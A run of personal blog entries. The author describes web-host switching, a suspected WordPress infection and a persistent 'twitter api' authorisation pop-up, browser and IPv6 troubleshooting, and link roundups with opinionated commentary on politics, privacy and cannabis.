ETA: it is as i feared: WordPress 3.0.1 – Cross Site Scripting Issue and Twitter XSS Proof of Concept – it doesn’t work if you’re running NoScript (which i am), but there it is… i suppose now it’s just a matter of waiting until somebody comes up with a fix for it…

further growl update II

apparently either something was “stuck” in my computer that i deleted when i deleted and re-uploaded my blog yesterday, or something else is going on, because so far, the unauthorised authorisation dialogue that has been plaguing me for the past three days has now flown the coop… grr. it’s back again… 8/ it’s like it waits until i’m actually typing a post before it shows up… weird!

apparently the process of disinfecting those two files that i discovered yesterday completely re-did the way the blog “plugins” work, because when i booted up this morning, i suddenly discovered that wordpress does, in fact, keep track of things that it seems to have been forgetting for a while now. maybe the thing that is supposed to email commenters when there’s a new comment will suddenly start to work now…

also, i’m sorry to say it, hobbit, but i have miraculously discovered a bidding war over the collection of conan books which is now up to $22 and the auction still has 9 hours before it’s over…

further growl update

i’m fairly sure that the authorisation dialogue message that (still) won’t go away is somehow connected to my blog. when i shut down my computer yesterday, there was an authorisation dialogue box on my screen, but when i started up this morning it wasn’t there. so, i paid very close attention to what i started up, and the order i started things up, and kept track of the processes that were running on the computer. it didn’t show up again until i logged into my blog, at which point it showed up almost immediately.

so, i deleted all of the files except for the database and re-uploaded everything. in the process of re-uploading the files, i discovered a couple of files that were infected from last year, that i probably missed when i was cleaning up last year. 8/

of course, when everything was uploaded and the database got reconnected, the first thing that happened was that the authorisation dialogue box came back, so i’ve got a couple of other options, the first of which is rebooting my local computer, to see if there is something that is stuck in my local machine.

another week closer to the eschaton…

we’ll start out this week’s post with a public service announcement: National Chronic Illness Awareness Week is coming up 13-19 september. be nice to somebody: one in two americans has an invisible chronic illness or condition!

Predator drones patrols of southern US border start Wednesday – this is now a police state, where only the priveledged live, the starving refugee is given temporary status, and the illegal immigrant is hunted down and summarily killed ejected.

example: California Cops Taser Senior Citizen in His Own Home – couple returns home, man falls, wife calls 911, cops show up and taser man when he refuses to go with them. beware – this could happen in your home, to you.

Oil Rig Explodes Off The Louisiana coast – didn’t we already go through this once? and, by the way, we now have a BP ultimatum: Let us drill or funds will dry up – considering that it took them all of a week to make the money that they have spent on cleaning up the spill, i think that they could go a little while longer before they are completely out of money…

More War Lies – war is peace, love is hate, lies are truth… business as usual.

Stephen Hawking Breaks Atheist Rules – yep, he said there doesn’t have to be a “god” in order for everything to be here. broke the rules, indeed… Is Stephen Hawking’s New Book Science or Science Fiction – “First they ignore you, then they laugh at you, then they fight you, then you win.” — Mohandas K. Gandhi

Top Web Scams of the Decade – in other words, if you don’t know that you shouldn’t respond to random, sketchy-sounding email from someone you don’t know, you probably shouldn’t be online at all. Pew Study Claims One Fifth Of American Adults Donโ€™t Use The Internet – i’ve got an idea: make it so that you have to have a license to use an internet-connected device, in the same way that you now have to have a license to drive a car. kill two birds with one stone…

Budget cuts bring end to Stockton narcotics unit – hey, let’s move to stockton! 8)

California pot legalization โ€˜could end Mexican drug warโ€™ and Marijuana activists stage Mexico City smoke-out to protest prohibition – hint: legalisation of cannabis could go a long way towards ending the war on drugs everywhere

The Pain-Killing Power of Marijuana – especially with people like this guy’s brother pumping out new research…

Two new scientific studies reveal hallucinogens are good for your mental health – another thing hallucinogens are good for! 8)

Ancient brew masters tapped drug secrets – another thing beer is good for! 8)

Mind-Altering Parasitestoxoplasma gondii on the loose!

GROWL!

i didn’t want to, but i signed up for a twitter account, allegedly so i could “keep in contact” with the previous host provider…

no, this isn’t going to be another gripe about my host provider, although it starts out seeming that way, bear with me…

of course, it didn’t work, and i don’t have services provided by that service provider any more anyway, so i decided to cancel my twitter account. after all, i never used it, and i only signed up for it in the first place because i thought it was going to facilitate something that, in fact, it didn’t. however, i found that it’s not so easy to “cancel” your twitter account.

you can – allegedly – “deactivate” your account, which is a “permant” method of “temporarily” disabling your account (whatever that means), but your account might still be visible for up to 48 hours after it has been “deactivated” due to “network propagation” (whatever that means)…

something i didn't install wants accessso i decided to “deactivate” my account, since there doesn’t seem to be any way at all to cancel it outright. it was actually deceptively simple. i say it was “deceptively” simple because, although i did it this morning, and my computer has actually been shut down for most of the day, i still keep getting an “authorisation dialogue” from something i didn’t install, but which says that “twitter api” at “twitter.com” wants access to something on my computer…

REPEATEDLY ๐Ÿ˜ก

i click “cancel” and it goes away, only to come back about 5 minutes later. i don’t enter anything, and click “OK” – which i would assume would produce an error message, and… it goes away, only to come back about 5 minutes later…

it’s 11:00 at night, and i don’t have time to try and figure out what’s going wrong, but you can bet that i”m going to have a stern conversation with a couple of tech-support toadies at twitter tomorrow.

network/s/ing

i am writing this from portland. to be specific, i am writing this from the back yard of my mother-in-law’s house. when i booted up my battery-powered laptop, it automatically found a network, and logged me in. it also found 3 other networks, for which i don’t have the password stored in my computer.

my impression is that i can go pretty much anywhere in pretty much any metropolitan area in this country, and be able to log on to the network with not an awful lot more than a password. this particular network’s password was (probably) supplied by my wife, who set up her mother with wireless ethernet last christmas, but it shouldn’t take any more than asking someone to be able to log in to any network. i just heard someone on the radio this morning who was saying that, inevitably, they’re going to include wireless networking, or wifi hotspots in new buildings, the same way that new buildings currently are wired with electricity, sewers and running water. i shouldn’t have to do more than ask someone to get free access to internet, in the same way that i shouldn’t have to pay someone to get water, or go to the bathroom.

and yet, that’s what google – the “don’t be evil” company – is out to make happen. it’s not bad enough that google anticipates the keywords that you type in, based on information that they have gathered from your previous searches, or that google is willing to sell that information about you to other people without your knowledge or permission, but on top of all that, they want to make you pay to get what should be equally free to everyone.

yeah, i know that you can go into a restaurant and get a fancy glass of water, but you’re also going to get quite a bit more than that in a restaurant, if what you’re starting out with is water, and when water is all you need, paying for all of that other, admittedly desirable, stuff, is starting to be more of a “luxury” item than anything else…

here’s an option: give free high speed internet to everyone, but let google and verizon build their “private, for-pay” internet and have them deliver that “private, for-pay” internet in a way similar to that in which fine food is delivered at a restaurant, and see how long it is before people realise that “private” and “for-pay” means that regardless of how raunchy, evil and nasty they want to be, someone is going to be aware of their actions.

ښالاماندر

Humans will be extinct in 100 years – a wonderful way to start out the post, but i’d tend to treat anything said by the guy who helped wipe out smallpox with a great deal of respect. you can argue about it all you like, but this is a guy who knows what it’s like to become extinct, and if he says humans are on the way there, i’d tend to believe him.

Scientists discover riding a bike is incredibly hard – in spite of the fact that the formula they came up with sounds pretty interesting (inertial forces + gyroscopic forces + the effects of gravity and centrifugal forces = the leaning of the body and the torque applied to the handlebars), given all the things that are going wrong with the world currently, there have got to be better things for “scientists” to be working on, don’t you think?

6-Year-Old Northeast Ohio Girl on ‘No Fly’ List – more idiocy on the part of home clownland security. all their antics sure make me feel a whole lot safer… 8/

and, speaking of feeling safer, Police tasered an 86-year-old disabled grandma in her bed and stepped on her oxygen hose until she couldn’t breathe – wow… just… wow.

no further comment necessary… ๐Ÿ˜

Apple collecting, sharing iPhone users’ precise locations
Apple now collecting, sharing precise location of iPhone users – yet another reason why i’m no longer a mac fanatic… i’ll use a mac, but i’m NOT getting an iphone, and i’m probably not going to get a smart phone at all… 8/

Opt Out of Behavioral Advertising – Opting out of a network does not mean you will no longer receive online advertising. It does mean that the network from which you opted out will no longer deliver ads tailored to your Web preferences and usage patterns… but it’s a start, and if you’re as paranoid about network privacy as i am, you’ll understand the necessity for such a thing.

about every two weeks or so i get a call from a person who is looking for an “incense” called “K2”, or “Spice” – Toxicologist Warning to Parents: Look for Signs of K2 – ‘Fake Marijuana’ and After Indianola teen’s suicide, Iowa officials set sights on banning K2 – i find it really sad that people have apparently resorted to poisoning themselves, because it’s the only legal alternative, rather than getting legitimately high from something that is illegal, but has never killed anyone. from The 420 Times, “If youโ€™re a kid and youโ€™re thinking of trying K2 because itโ€™s still legal to buy in your state, youโ€™d be better off running the risk of buying real, illegal marijuana. Even if you get caught, you wonโ€™t die from inhaling a toxic substance or experience โ€œhallucinations, severe agitation, elevated heart rate and blood pressure, vomiting and, in some cases, tremors and seizures,โ€ like you do from K2. Youโ€™ll just be another statistic in The War on Drugs.”

Continue reading ښالاماندر

cloud computers and me

seriously, i wonder how conscious even the computer geeks are with this one: we are moving towards a “cloud” computing environment, where “computers” are basically fancified “dumb terminals” and all of your data, all of your information, all of your applications and even your operating system live online, on computers over which other people have control. this is for a variety of different reasons, the most public of which is so that you the individual, and frequently un-savvy end user, don’t have to spend as much money on a computer, and you don’t have to worry about whether you remembered to update your system when something needs updating. it also has the added benefit of making it so that you can synchronise your phone, music player, computer and whatever else people sync, all from one place, and it makes it so that if your computer dies for some reason, your data will still be safe.

all of these things sound like they are exactly the kinds of things the general computing public has been clamoring for, but there are some devious, sneaky, and definitely privacy ignoring facts about “cloud” computing that i don’t think people have realised.

first, and foremost in my mind, is the fact that every inroad that i’ve seen (including moe’s new “smart” phone, which is why this rant is coming out now) to make “cloud” computing more mainstream has been with the condition that whatever data you store on your “cloud” (read “gmail” or whatever) account is, essentially, public data. it has the air of privacy – you are assured that your data is your data, and not someone else’s – but because of the fact that it is living on google’s (for example) computer systems, any data that you store there is automatically a part of google’s covert attempts to data mine your information.

which means that if you are friends with a terrorist, someone who might be a terrorist, or even someone who the police think is a terrorist, but they’re wrong, google, and google’s allies – which includes the police, homeclown-land security, the CIA and who knows who else – knows about it.

what moe says is that google already has all that information anyway, but it doesn’t stop with terrorists. google has data mining access to any document stored on their systems whether it is in their terms of service or not, and my guess is that, especially these days, if someone has a document stored on google docs that makes them look like a terrorist, that somebody in the law enforcement community will find out about it.

i have a gmail account, but i never use it. i don’t use google docs, and i use google maps only when i have to. i don’t want a “smart” phone, i just want a phone that works to make telephone calls, and possibly to send text messages. it would be nice if it were a decent music player, as well, but if it’s only a crappy music player then all it will do is make me frustrated, and i already have enough of those kinds of things in my life anyway.

“cloud” computing also takes a big bite out of software piracy, because instead of having a disk for a program, which can be copied, the program actually lives on someone else’s computer, and you access it, as long as you have paid the requisite fees. the owner of that program can make changes in the program, change the functionality, upgrade or even delete that program and you have no say in the matter, even if you have paid the requisite fees. and, at this point anyway, you have no recourse.

it’s getting to the point where i’m probably going to have to be satisfied with the computers i’ve got, because when it becomes illegal not to use “cloud” computers, it’s going to be too late.

urk, kleep, pumg

i booted up my computer this morning and firefox told me it had an update for one of the addons, so i let it install, instead of starting firefox, it looks like it’s going to start, flashes a white screen for a moment and then crashes with no explanation. tried it a number of times in different ways, and no firefox. so i used another browser (konqueror) and i upgraded firefox (it’s supposed to tell you when there are updates, but it never has for me). now it looks like it’s going to start, flashes a white screen for two and a half moments, and then crashes with no explanation. i updated my software sources and updated my system (something which i haven’t done in about 2 months) and, lo-and-behold, there’s a new firefox in the updates, but it still doesn’t work.

i tried my mac, and it said “oh, look… there’s a firefox update. you want to install it?” to which i answered “yes” and it’s now installed, running, and works fine.

as much as i like linux, there are times when it can be really frustrating. i only hope that bill (my older, brain injured helpdesk client who is also running linux) doesn’t have the same problems i am having.

i tried running firefox from the terminal, and it gives me a whole bunch of UNKNOWN and ABORT errors that probably mean something to someone, but only indicate to me that i’m going to have to dig deeper to get to the source of the problem. ๐Ÿ˜

i ran firefox -safe-mode from the terminal, and disabled all of my addons, and firefox started right up. i think it was the thing that looks up the flag of the country where the server lives, but it was a good excuse to dump a whole bunch of themes that i don’t use any longer, and a few addons that i used once and have been hanging around ever since version 2, and that sort of thing.

i got email from my router this morning, which says “TCP Packet – Source:63.245.212.23,54375 Destination:216.162.193.190,8081 – [DOS]”… i don’t know what it means, but judging by the fact that it says “[DOS]” (which i take to mean “Denial Of Service”) and there’s only one of them, i’m not going to worry too much about it. the drizzle guy said that IP space belongs to mozilla, so i am officially not going to worry about it.

regarding the NYC Musical Saw Festival, i actually got email from the Saw Lady, who is, apparently, the motivating force behind the musical saw festival, and i pointed her towards my saw case pictures. she said she’d add my name to the invite list, so that, on the off chance that i’m actually in new york city, and have my saw, i can come to the festival.

⁂ ✬ ⨀ 文

along with all of the other SNAFUs i’ve been forced to deal with over the past few days (an itemised list would prove too exasperating to compile at this point), and despite any actual evidence that it is true, i have become relatively convinced that i may have H1N1, otherwise known as “HEINEY”. i felt fine on saturday, but, on sunday, the closer i got to the time (7:00 pm) when i had to go to a fremont phil rehearsal i was feeling more and more sick. i didn’t actually feel nauseous until i had already decided not to go to the (essential, required) rehearsal, and about 8:00 i turned into a geyser for about 2 hours. then i had a fever and chills for about 24 hours, whereupon the coughing started and has been going on more or less ever since. i feel more-or-less normal at this point, despite occasional fits of coughing. at this point, i’m so through with being sick… 8/

i bought a new wireless DSL modem/router, because the old modem/router apparently doesn’t work with OsX version 10.6.2 (snow leopard), which is what i am running on my mac now that i’ve upgraded thanks to St. Fred. of course i didn’t find out about it immediately, because when i got home with my newly-upgraded computer and turned it on, it found internet right away and i didn’t think to check where it was coming from. of course, as soon as i tried to connect with the mac from linux i discovered the problem, which was that the mac was wirelessly connecting to internet through the neighbour’s router instead of through mine, and when i tried to switch to my router, it simply wouldn’t connect. of course, moe’s temporary windows7 laptop connected to the old router without a problem, but she got her new mac today, which also runs snow leopard, so i went out and bought a new router, and, after having to call qwest once, drizzle three times, and having to make an adaptor and a cable (fortunately i had the tools and materials in my workshop!!) i finally got it working the way it’s supposed to.

of course, then i had to figure out that the new router makes a difference between networking with or without “wireless access control”. “with” means that i can’t access my mac – wireless – from my linux machine, which is connected with a wire, without jumping through a bunch more, different hoops that i haven’t figured out yet. i still haven’t figured out the right hoops to jump through to secure my wireless network so that my neighbours can’t log in to my network the way i can log in theirs. when i enable “wireless equivalency protection” (WEP), it takes longer, and the password doesn’t work the way i think it should, which means that only the linux machine gets internet, but can’t connect to the mac at all, the mac gets no internet except through the neighbour’s router, and i have to “sneaker net” files from the mac to the linux machine, which is do-able, but not ideal.

on the positive side, i haven’t had to switch host providers again, i got ALL of the data off of moe’s old hard drive, in spite of the fact that her old laptop is well and truly dead. i’ve got the chassis for sale on craigslist, and supposedly there’s going to be somebody come by and pick up the old router this afternoon. also, i’ve become the default insider tech-guru for the *NEW* fremont players web site – http://www.fremontplayers.com/ – which currently points to twankey.com. the “job title” reflects the fact that, despite the fact that i will be designing, hosting and doing maintenance for the site, i will not have to come up with content, which is exactly what i was hoping for.

and now, to clean up my browser a little and give you an idea of what i’ve been reading recently, here is MINI-LINQUE DUMP Ⅳ½

Supreme Court Allows Corporations To Run For Political Office – in spite of the fact that there is a glimmer of hope in the fact that we no longer have a far-right-wing nut-job as president any longer, my general impression is that the country is as broken as ever, and there are certain ways that it is broken now that it wasn’t broken before more level heads took over, which doesn’t say much about the glimmer of hope that i spoke of earlier. The Onion is the only way i’ve been surviving these days. if it weren’t for the onion, i would probably have sworn off all news reporting a year ago.

Nation’s Strangers Decry Negative Portrayal Among Children – once again, from the onion (see, i told you so) this is yet another example of why: ever since i was as young as i can remember, i remember people in the position of authority (my parents, the parents of my friends, teachers, etc.) telling me to be wary of “strangers”, and my thinking that the same “strangers” had something compelling about them. i was determined to find out what it was. now, i am a “stranger”, and i know what they’re talking about: kids, in general, are a lot less concerned about the world in general than adults are, and have a tendency to imagine quite a bit more than adults do. now, as an adult and a “stranger”, i just want to be that innocent again. it doesn’t have anything to do with “your weiner”. “the man” gets a little nervous when “strangers” and kids mix too much, though.

The Phallic Monuments Of Love Valley – who says God doesn’t have a sense of humour?

that didn’t take long…

so on 10 january, i filed a support ticket with my new host provider, cpanel-host.us, that email wasn’t working the way it was supposed to. two days later, i learned that my clients’ email, and the BSSB mailing list wasn’t working at all, and i filed a support ticket about that, as well. on the 14th, they (finally) responded saying that the mail servers had been fixed. then, on 15 january, i got an email saying that mailing lists were now forbidden, and if i had a mailing list on my account on the 17th, my account would be suspended. i wrote back to them, asking if they were serious about suspending my account two days after they had helped me get my mailing list working, and their response was “yes”…

๐Ÿ˜ก

but at the same time, i got email from my previous host provider, IsMyReseller.com. apparently he felt guilty for saying that he wanted to raise my rates almost 300% (from $5 a month to $18 a month). i wrote back to him saying that it was all well and good that he was feeling guilty, but what was preventing him from doing the same thing again in a month, or five, when he, once again, discovers that he isn’t making enough money from me. his response was to send me a .pdf of a document that says he will charge me $6.50 a month for the life of the account.

so i switched back.

the thing that’s really amazing is that he took me from a backup to being up and running in a little more time – 15 minutes or so – than the time it took him to download the backup from my old host… and that includes all of my databases, my email addresses and my mailing list.

i find this somewhat unusual. nobody has ever tried to get me back as a customer. usually if i decide not to be somebody’s customer any longer, it is for a very specific reason which the person has no intent of changing. this guy said that he actually felt guilty for asking to raise my rates, and as soon as he had a way to continue running his company without raising my rates, he emailed me immediately.

cpanel-host.us (the second to the last host) was saying that my email address was sending mail to 50 addresses at once (which is true) and that this was causing unusual server stress. i know from my days at openwave that 5,000 emails a day isn’t uncommon (i’ve even still got a script that sends anywhere from 100 to 100,000,000 emails to any address or addresses you put in to it, but it only works with openwave mail server software), especially for a mail server that has a lot of users, so i was sort of wondering why it was a problem, to which they responded that they were afraid some spammer would gain access to my mailing list and have their IP address blacklisted. they obviously chose the wrong person to accuse of being a potential spammer.

and the fact that IsMyReseller.com on top of the email problems which were what the previous host provider was balking at doesn’t hurt his chances either… ๐Ÿ˜‰

now as long as it stays this way for a few months, maybe i’ll have the chance to wind down from this semi-permanent state of panic that i’ve been in ever since december of 2008, when i decided to switch from drizzle to 1&1…

The Church of Tina Chopp got this piece of snailmail...in other news, i went to check my PO box today and found this very amusing letter:

L.J.M. Steijn
Juliana van StolBergstraat 30
2805 CN Gouda
The Netherlands

CHURCH OF TINA CHOPP
P.O. Box 1864
Milton
WA 98354
USA

Gouda, 10 January 2010

Dear Tina Chopp,

My name is Leo Steijn and I live in the Netherlands.

I have look at your very interesting site, and for more information must I be contacted the Church, What I now do.

Please, gife me if you will more information about the Snake Destiny and what he is theach, also the secrets about bizarre sex.

Another question, is your church also be present in the Netherlands? If so, than I like it to come in contact with your members. Can you please bring me in contact with them. I will be very thankfull for it!

I hope to hear soon of you.

With kindest regards,

Leo Steijn

P.S.
i don’t have e-mail

gee, where do i even start with this letter…? i know a couple of people who live in the netherlands, but i’m not sure if they would be willing to contact this guy about the Church of Tina, and even if they were willing, i’m not sure they’re properly prepared to be representatives of the Church, but at the same time, what other choice do i have?

oy… 8/

i’m having a tough time, and i can’t even blog about it! ๐Ÿ™

i’ve selected a new host provider and begun the process of switching, but because of the fact that new host provider doesn’t feel comfortable allowing me ssh access, i’m forced to do everything the slow way, one file at a time, and “ask” for help, then wait up to 24 hours for a response, every time i find something that i can’t do with a GUI that i could do in 5 seconds with ssh access. as a result, i haven’t actually switched the DNS settings and now i’m going to have to export my wordpress database and upload it to the new server again because of this post… and there’s a problem with the blog on the new host server, which i could fix in 5 seconds using ssl, but because of the fact that he’s nervous about offering ssl, even if i do hit the “submit” button on this post, download the database from the old server, and reupload the database on the new server, it won’t show up at the new server… all you can see at this point is

Warning: fopen(/home/hybridel/public_html/przxqgl/wp-content/cache/wp_cache_mutex.lock) [function.fopen]: failed to open stream: Permission denied in /home/hybridel/public_html/przxqgl/wp-content/plugins/wp-cache/wp-cache-phase2.php on line 96

Warning: Cannot modify header information - headers already sent by (output started at /home/hybridel/public_html/przxqgl/wp-content/plugins/wp-cache/wp-cache.php:2) in /home/hybridel/public_html/przxqgl/wp-includes/pluggable.php on line 868

i got email about my Tengwar Sindarinwa font from the guy who plagiarised it (taking out some of the spacing characters that he didn’t understand, reversing some characters, etc., etc.) saying that i was the one who ripped him off, in spite of the fact that i have original artwork from the ’70s that proves otherwise. what he doesn’t realise is that you can’t “copyright” a letter shape, all you can do is copyright a font name, and my “Tengwar Sindarinwa” and his “Tengwar Gandalf” have different names. there’s nothing that he can do except be annoying, but he’s choosing a very difficult time to do it.

moe applied to be an animal behaviour specialist, which meant that she had to put together almost 1000 printed pages of records, logs, articles and so forth that she has been working on for the past 7 years. she was working on the last of it the other night and one of the dogs spilled a cup of water all over her laptop. we managed to get it shut down without obviously shorting out something, removed the battery and dried it off as well as we could, including leaving it upside down on a towel over a heat register overnight, and blowing it out thoroughly with compressed air, but when i tried to boot it up it gave me the “i can’t find the operating system” icon. i called apple care and explained the situation to them, and they said that if i took it in to the mac store that they had software that could look at the contents of the disk, and even made an appointment for me – the last one of the day – at the mac store in southcenter. i drove 20 miles to southcenter and waited almost an hour before someone finally talked to me (it was after closing time). he wouldn’t take my case ID number and wouldn’t even look at the computer. he told me that, in fact, they do have the software that apple care told me about, but that their policy was to “use it for our own purposes, and not to retrieve customer data”. when i said that apple care had told me differently, he said he would give them “feedback”, but there was nothing he could do. ๐Ÿ˜ฎ

to make matters worse, i called apple care again this morning, because at least there i can give them my case ID number so that at least they will know what i’m talking about, but the first support goon i talked to said exactly the same thing as the one i talked to last night. when i told him that he was wrong and that the mac store wouldn’t help me, he passed me along to his supervisor who told me there was nothing he could do. ๐Ÿ˜ฏ

i used to be a macintosh afficianado. i was a mac-head before most of the “geniuses” at the “genius bar” were even born. the first mac i used was a Lisa. but the customer service i received from apple, and from the mac store yesterday is enough to make me never want to see another apple product again in my entire life. i currently own, and am running a dual-core intel macbook pro, and the next time i have difficulties with it, it’s going to lose it’s apple operating system all together, and gain a new linux operating system. ๐Ÿ˜ก

then there was the fact that i left my linux computer running when i went to bed last night, and this morning when i got up, it was not running and i couldn’t start it up. according to the people that i took it to (it, fortunately, is still under warranty), the power supply was laden with dust, and they speculated that it stopped working when it overheated. fortunately, because of the fact that it is still under warranty, i didn’t have to pay to get it fixed, but i drove all the way there and back twice before i had breakfast this morning.

it’s almost 4:00 already and i’ve gotten exactly NOTHING done for the past THREE DAYS. i’ve got a performance this evening at the rialto theatre in tacoma, a real, authentic, old-time vaudeville stage where i’ll be opening for Pearl Django, and i’m in such a bad mood that i’m not even excited about it. ๐Ÿ˜›

AAAARRRGGGHHH!

that’s A4R3G3H3 for those of you who are keeping score…

you may or may not have noticed that my web sites have been down for the past 24 hours. this was because at 4:00 friday afternoon, i got an email from my “new” host provider that he was going down for “4 to 5 hours (maximum 10 hours) for upgrades” and wanted to know if it was “okay with you if we start them this evening”… and then proceded to start the upgrades without even making sure that it was okay with me or not.

also, he informed me that my rates would be increasing by almost 300% because he is having trouble breaking even. ๐Ÿ˜ฏ

needless to say, i have – once again – embarked on the task of finding yet another host service provider – my fourth switch in less than a year… ๐Ÿ™„ i will probably be switching in january, after the panto is over.

more stuff after the panto.

more buggerish, then all is well…

there was a fair amount more IPv6 furor to deal with: i got email and firefox working, but it was a temporary workaround, because akregator and amarok (and probably a bunch of other things of which i’m only vaguely aware) were acting extremely screwy. akregator was displaying all of my RSS feeds, but it couldn’t find the server for any of them, even though many of them updated repeatedly during the past 48 hours, and the updates actually showed up on the screen. also, it found the text for new articles, but for some reason it couldn’t find the graphics at all. i finally solved the problem by changing the contents of /proc/sys/net/ipv6/conf/all/disable_ipv6 from 0 to 1, and then making it permanent by adding net.ipv6.conf.all.disable_ipv6 = 1 to /etc/sysctl.conf, all of which i found out about thanks to hints given to me by a very knowledgable gentleman named francis larson, to whom i owe a great deal of gratitude. you can read the whole sordid story, except for the part with francis larson, if you’re that inspired. it was also thanks to francis larson that i found out about the medibuntu repository, which will likely make it possible for me to do awesome audio stuff on my kubuntu box really soon.

in other news, there was this post at good as you which was an article from a 1906 newspaper about a woman who had married another woman, and was probably going to avoid punishment because she had broken no laws… which makes me wonder: if there were no laws against same sex marriages, presumably until after 1906, then it was apparently not enough of an issue to “the founding fathers” to take notice of it, so why are the “christians” so upset about it now? obviously there weren’t any laws against same sex marriage because they didn’t need them, regardless of whether or not they were actually occurring, which, if this article is any indication, they were, no matter what the “christians” are trying to tell us. and if they didn’t need them then, then why the hell are they getting their panties in a twist over them now? feh!

also, Oddly Specific

bugger

host problems combined with IPv6 incompatibilities have caused my complete absence from internet for the past couple of days. despite the fact that IPv6 is the latest, hottest thing to hit the net since the ping of death, it is just about as effective at this point, so i have disabled it and am suddenly able to do things like check my email and browse the web.

the other part, of course, is that the new host provider went down two days ago, so even if i hadn’t had the problems with the new IPv6, i still wouldn’t have been able to post anything, which is really irritating.

Windoesn’t 7

so there’s a new commercial on TV, just in time for xmas, advertising the new HP laptop/netbook/desktop combination with Windows 7, which is “networked together by GeekSquad™”…

i have three computers, two laptops and a desktop, and all three of them are networked together, and we didn’t have anything like geek squad. in fact, they didn’t require any networking at all, we just started them up and they worked; two different operating systems – Mac and Kubuntu – the way that computers are supposed to work.

it’s my considered impression is that the only reason you would need GeekSquad™ is if you use Windoesn’t, and if you use Windoesn’t, ultimately, no GeekSquad™ in the world will be able to help you.

demons

i have probably always been a computer geek, although for a long time i resisted being labeled as such because i was too interested in music, but my father has been a professional computer geek electrical engineer for as long as i have been around. one of the first “computers” i ever played with was actually a “dumb terminal” that had a big foam recepticle on the back of it to plug the phone reciever into so that it would do stuff more than just look and act like a selectric typewriter.

i saw my father at the Seattle Art Museum the other day. i was there for a performance of La Banda Gozona – where the consul general for mexico in seattle gave a long winded speech in spanish that i couldn’t understand – and i saw my father taking pictures. i was wearing my reading glasses, so i didn’t get a good look at him, and he disappeared before i could switch to my distance glasses, but i’m sure it was him. i find it very odd that, in spite of our differences, my parents haven’t spoken to me at all since my injury, and didn’t come visit me in the hospital when there was a chance that i would die… but i digress.

anyway, when i was first actively learning about computers, back in the late ’70s, i would frequently ask questions of my mentor, jim, and every now and then i would ask him a question which doesn’t really have an answer. questions like “why is it that when i tried X process, it failed, but when you tried exactly the same X process, it worked?” or “why is it that i send an email to X address and it never gets there, you send an email to X address and it takes two weeks to get there, and someone else sends an email to X address and it gets there immediately?” obviously there is some answer to questions like that, but often they are technical enough that even the experts might have difficulty explaining it, especially to someone (like me) who doesn’t understand.

when i would ask jim a question like that, he would get all quiet, look around mysteriously, and whisper “demons”…

he could have easily said “i don’t know” or “go look it up” or any one of a number of other perfectly rational responses, but that wouldn’t have made anywhere near the impression on me that blaming all my unknown computer problems on “demons” would have.

of course, i later learned that the electronic mechanisms that make things work inside computers are called “daemons”, but my impression is, even now, when i have wholeheartedly embraced the label of “computer geek”, that it still makes a fair amount of sense.

fast forward to a few days ago. i have just completed what i hope will be my last host provider switch for a LONG time, but i still have to figure out why the control panel on the new host works slightly differently than the (exact same) control panel on the old host: i set up a subdoman – przxqgl.hybridelephant.com – which, when you hit it with a browser, loads pages found at hybridelephant.com/przxqgl. it used to be that when you looked at the browser, you saw przxqgl.hybridelephant.com, but now, when you point your browser at przxqgl.hybridelephant.com it automatically redirects to hybridelephant.com/przxqgl and when i remove the redirect in the control panel, my browser gives me a “redirect error”.

so i wrote to tech support. he wrote back to me almost instantly, saying that he had gotten it to work, and that i didn’t need the redirect in the control panel.

… wait, what?

anyway, it works… and i keep thinking about jim and his “demons”…

whooy… 8/

the past five days have been definitly ones where i spent way too many spoons.

i began a day before halloween by deciding to switch host providers again. the new old host provider had a strong tendency to flat out lie about their service: they say they don’t delete support tickets, but i have had no fewer than three support tickets mysteriously disappear from their server. they also say that they don’t block IP addresses from their support server, but i have documented no fewer than five different occasions where my IP address was blocked from accessing their support server and had to have their support technician – Zac O. – clear the IP block so that i could access their server.

so i researched and found another host server that was willing to take all of my domains. there was a bit of controversy over at web hosting talk regarding whether or not a host provider who is using litespeed web server is prohibited from hosting “blasphemous” or “adult oriented” content, but as far as i have been able to tell, according to the email that i recieved from a litespeed sales representative ” for general shared hosting purpose, or for general user contributed content web site, it is ok.” i’m still a little confused by the guy who said why do you mention this is a porno site?, and then requested a friend connection with me, when i very clearly stated that it’s not a porno site more than once, but i guess that’s what i can expect from a relative newbie.

anyway, i got the blog and the other web sites operating again, after going back and forth with the new new host provider about shell access a couple of times. they don’t provide shell access by default, and they’re a bit less responsive than the old new host provider, but they’re more honest about what they actually provide, and they’ve added WHMCS to the mix, which will ultimately improve the likelihood that i will be a successful web host myself some day.

meanwhile, i’ve also all but completed the clarinet that i’ve been working on for thaddeus. i also got started on the jewelry project that i’m working on for xmas presents. and, finally, i’ve finished the sticker project that i’ve been working on for howlin’ hobbit.

i still have to discover why, when you enter “https://przxqgl.hybridelephant.com/” into your browser’s address field, you end up at “http://www.hybridelephant.com/przxqgl” – which is actually where you go, but the subdomain is what it has been before, and as far as i’ve been able to tell, nothing has changed except the IP address of the host server, but i know from past experience that anything that changes could mean that the whole thing suddenly and mysteriously could decide to work entirely differently, so i’m not really worried about it at this point, especially when i know that if you enter the subdomain you’ll redirect to the correct place anyway.

also, the authority in england that said that alcohol and tobacco are more dangerous than cannabis and LSD has been relieved of his position as an authority, which just goes to show that even when they do listen to reason, they don’t always hear reason. oh well, better luck next time.

aha!

so i was going through the oscommerce forums last night, desperately searching for the solution to yesterday’s problem, and i came across this comment on a post whose solution i have already tried (and failed) to get working – despite the fact that the installation instructions are only in german, and they produce only a marginally understandable machine translation. however, the comment mentioned that paypal wants the shipping calculations turned off on their side if i’ve got the shipping calculations already figured out on my side – which sort of makes sense in a bizarre, round-about sort of way, so i tried it.

i have since gotten 3 orders – itself a bit of an anomaly, since i haven’t gotten more than 2 orders in the past 4 months – and all of them included the shipping charge information that used to be missing from the emails i get from paypal.

riiiiiiiight… turn it on and it’s broken, turn it off and it’s fixed… that makes sense.

and it is paypal’s fault. now the only problem is that when i tell them that, there’s a strong probability that they’re going to say that i’m doing it wrong… ๐Ÿ˜

progress…?

